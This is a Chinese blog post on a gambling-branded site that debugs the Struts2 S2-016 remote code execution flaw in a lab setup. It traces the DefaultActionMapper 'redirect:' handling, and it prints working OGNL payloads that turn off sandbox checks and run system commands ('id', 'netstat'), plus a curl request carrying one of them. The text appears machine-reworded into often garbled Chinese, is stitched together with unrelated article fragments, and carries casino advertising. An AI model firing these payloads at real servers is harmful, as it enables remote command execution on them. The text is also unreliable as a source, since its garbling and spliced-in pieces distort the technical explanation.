Struts2 S2-016 调试进修 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Struts2 S2-016 调试进修

申博_安全防护 申博 357次浏览 已收录 0个评论

Real World Finals 2018 Router

最近时间比较多,把去年Real World总决赛的路由器重新调了一遍 Building Environment 因为我最后没有拿路由器,所以需要先搭建好整个模拟路由环境启动snmp服务 路由器版本: Netgear R6300 v2
#https://openwrt.org/toh/netgear/netgear_r

S2-016

影响版本

Struts2.0.0 – Struts2.3.15

破绽成因

DefaultActionMapper类支撑以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,然则这些前缀背面同时能够跟OGNL表达式,因为struts2没有对这些前缀做过滤,致使应用OGNL表达式挪用java静态要领实行恣意体系敕令

复现情况是 vulhub 和vulapp

Payload

Struts2 S2-016 调试进修

redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

调试

第一次调试,弄情况弄了半天,纪录一下
把war包 扔到webapps下 自动布置了 (也能够用TdeCompile) 涌现一个文件夹(a)
idea 新建project java web (文件夹b)
把a下面的web-inf 扔到 b的web-inf a的class下的文件要JD-GUI反编译一下 扔到b的src里
idea 内里再从新载入一下 lib下的文件
增加tomcat服务器
就能够了

DefaultActionMapper在处置惩罚短途径重定向参数前缀
  ”action:”/”redirect:”/”redirectAction:”时存在敕令实行破绽,因为对
  ”action:”/”redirect:”/”redirectAction:”后的URL信息运用OGNL表达式处置惩罚,长途攻击者能够应用破绽提交特别URL可用于实行恣意Java代码。
重定向要求 会让DefaultActionMapper 来处置惩罚
这是重定向要求的参数前缀
Struts2 S2-016 调试进修
断点 下在这里
Struts2 S2-016 调试进修

this.put("redirect:", new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        ServletRedirectResult redirect = new ServletRedirectResult();//重定向url 设置一些参数 如statuscode=302
        DefaultActionMapper.this.container.inject(redirect);
        redirect.setLocation(key.substring("redirect:".length()));//去掉前面的redirect://
        mapping.setResult(redirect);//把redirect 加进去了 只要location改变了
    }
});

struts2会挪用setLocation要领将他设置到redirect.location中。然后这里挪用mapping.setResult(redirect)将redirect工具设置到mapping工具中的result里
接下来到

public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
    Set<String> uniqueParameters = new HashSet();
    Map parameterMap = request.getParameterMap();//parameterMap 内里就是我们的payload
    Iterator i$ = parameterMap.keySet().iterator();
    while(i$.hasNext()) {
        Object o = i$.next();
        String key = (String)o;//payload转换成字符串
        if (key.endsWith(".x") || key.endsWith(".y")) {
            key = key.substring(0, key.length() - 2);//如果有.x .y 末端就截掉了
        }
        if (!uniqueParameters.contains(key)) {
            ParameterAction parameterAction = (ParameterAction)this.prefixTrie.get(key);
            if (parameterAction != null) {
                parameterAction.execute(key, mapping);
                uniqueParameters.add(key);//把payload加到了set里
                break;
            }
        }
    }
}

以为这里的parameterAction.execute 实行的就是我们第一个断点的地位,而getMapping挪用了这个上面的函数handleSpecialParameters.
我以为我们这个断点下的 在挪用的最深层,以后还要进来 往回 走 相似挪用栈的那种觉得..以是才会形成明显是getMapping 挪用了handleSpecialParameters,而在idea里 handleSpecialParameters是getMapping
准确的挪用递次 getMapping->handleSpecialParameters->DefaultActionMapper里的prefixTrie中的一个
这就已把payload 送进了mapping 的result 的location里
发现有execute 继承跟
Struts2 S2-016 调试进修
cleanupRequest 也是一个过滤 但没啥用
继承跟 才是最症结的
org.apache.struts2.dispatcher.Dispatcher#serviceAction

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {

//看这些参数的时刻就晓得 要实行OGNL了,mapping context 啥的
//下面另有甚么valuestack的操纵
//最症结的

if (mapping.getResult() != null) {
    Result result = mapping.getResult();//我们的payload 就在result location 里
    result.execute(proxy.getInvocation());
} else {
    proxy.execute();
}

这个处所就是啥呢,看我们的action 映照是否是直接接见网页,如果是直接接见网页就走else 内里的execute.
而我们如今是redirect 302 跳转 就走上面的
我们走的是上面的
继承
如今就已是实行payload的部分了

Struts2 S2-016 调试进修
TextParseUtil.translateVariables 就是提掏出OGNL表达式并实行
一步一步跟 有许多com.opensymphony.xwork2.util.OgnlTextParser 剖析OGNL的
Struts2 S2-016 调试进修
Struts2 S2-016 调试进修
需要把他改成true 绕过沙盒
Struts2 S2-016 调试进修
仔细的跟踪
背面经常涌现
getvalue
this.evaluateGetValueBody
ognl.SimpleNode#evaluateGetValueBody
Struts2 S2-016 调试进修
这处所多是 tree 离开以后的 每一个payload小语句 实行 轮回
增补一下
org.apache.struts2.dispatcher.ng.ExecuteOperations#executeAction
启动的时刻有一些参数
没修正之前的context
Struts2 S2-016 调试进修

Getvalue->evaluateGetValueBody->Getvaluebody
ognl.OgnlRuntime#callMethod(ognl.OgnlContext, java.lang.Object, java.lang.String, java.lang.Object[])
Struts2 S2-016 调试进修

这里就实行了OGNL表达式

curl -v http://localhost:8081/S2_016_war_exploded/default.action\?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

Struts2 S2-016 调试进修

参考文章:

很细致的调试S2-016

030509调试内有挪用链参考下

能够有的处所说的纰谬,愿望师傅们斧正(萌新瑟瑟发抖)

OSINT Primer:职员(第2局部)

在这篇文章中,继续讨论与OSINT相关的主题,我们将着眼于研究人员。与域名类似,在我们的“人员分析”中有一些特定的目标: 这个人是我们新认识的人。我们想找到一些关于他/她的信息。 你想雇用一名新员工。除了HR的标准背景检查之外,你


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Struts2 S2-016 调试进修
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址